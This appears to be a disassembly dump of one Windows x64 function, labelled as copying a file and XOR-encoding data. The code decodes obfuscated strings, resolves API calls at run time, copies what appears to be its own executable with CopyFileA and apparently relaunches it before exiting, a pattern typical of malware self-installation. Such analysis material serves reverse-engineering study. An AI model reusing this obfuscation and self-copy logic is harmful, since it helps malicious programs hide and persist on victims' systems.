Function at 0x140013130
Capabilities:
Copy file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x4d8]
sub rsp, 0x5d0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14007e040]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x1400705f8]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400705fc]
mov byte [rsp + 0x50], 0x2d
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor r14d, r14d
mov ecx, r14d
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rbp + rcx + 0x280], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400131a0
movups xmm0, xmmword [str.vWGwZ_ZYWwUS__]
movups xmmword [rsp + 0x58], xmm0
movdqa xmm6, xmmword [0x1400713f0]
mov esi, dword [0x14007e010]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140013353
cmp esi, 2
jl 0x140013309
movdqa xmm4, xmmword [0x1400713b0]
mov edx, r14d
movdqa xmm3, xmmword [0x140071440]
movdqa xmm5, xmmword [0x1400713d0]
movdqa xmm0, xmmword [0x140071400]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x5c]
mov r8d, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140013220
jmp 0x140013353
lea r9, [rsp + 0x58]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140013320
lea rcx, [rsp + 0x58]
call fcn.140001840
call rax
lea rdx, [rbp + 0x280]
mov rcx, rax
call fcn.14003b9a8
test rax, rax
jne 0x140013795
lea rdx, [rsp + 0x58]
call fcn.140013830
mov r9, rax
cmp byte [rax + 0x12], r14b
je 0x1400134f0
mov ecx, r14d
cmp esi, 2
jl 0x1400134bc
movdqa xmm5, xmmword [0x1400713b0]
movdqa xmm4, xmmword [0x140071440]
movdqa xmm7, xmmword [0x1400713d0]
movdqa xmm0, xmmword [0x140071400]
movdqa xmmword [rsp + 0x70], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400133d0
cmp ecx, 0x13
jge 0x1400134f0
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x1400134c2
mov rcx, r9
call fcn.140001840
mov r8d, 0x104
lea rdx, [rbp + 0x60]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140022c20
nop
lea rcx, [rbp - 0x70]
call fcn.140022650
inc eax
movsxd r9, eax
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.1400225f0
nop
lea rcx, [rbp + 0x20]
call fcn.140012e00
nop
lea rdx, [rsp + 0x58]
call fcn.140013860
mov rdi, rax
movzx eax, byte [rax + 8]
test al, al
je 0x140013576
xor byte [rdi], 0x31
xor byte [rdi + 1], 0x32
xor byte [rdi + 2], 0x33
xor byte [rdi + 3], 0x34
xor byte [rdi + 4], 0x35
xor byte [rdi + 5], 0x36
xor byte [rdi + 6], 0x37
xor byte [rdi + 7], 0x38
xor al, 0x39
mov byte [rdi + 8], al
lea rcx, [rbp + 0x20]
call fcn.140022790
mov rbx, rax
lea rcx, [rbp + 0x40]
call fcn.140022790
mov r8, rax
mov r9, rbx
mov rdx, rdi
lea rcx, [rbp + 0x170]
call fcn.140001d30
xor r8d, r8d
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x60]
call fcn.140045278
lea rdx, [rsp + 0x58]
call fcn.1400138a0
mov r8, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400135f2
xor byte [r8], 0x31
xor byte [r8 + 1], 0x32
xor byte [r8 + 2], 0x33
xor byte [r8 + 3], 0x34
xor al, 0x35
mov byte [r8 + 4], al
lea rdx, [rsp + 0x50]
call fcn.140013880
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140013611
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.140001d30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea rdx, [rsp + 0x58]
call fcn.1400138c0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400137cb
mov r8d, r14d
cmp esi, 2
jl 0x140013755
movdqa xmm4, xmmword [0x140071440]
movdqa xmm3, xmmword [0x1400713b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400713d0]
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [0x140071400]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [r10]
xorps xmm3, xmm0
movd dword [r10], xmm3
movdqa xmm2, xmmword [0x1400713c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400713d0]
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jge 0x1400137cb
jmp 0x140013760
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140037c30
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
mov rcx, r10
call fcn.140001840
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x170]
call rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x170]
call fcn.140045278
mov ecx, 1
call fcn.14003fd10
int3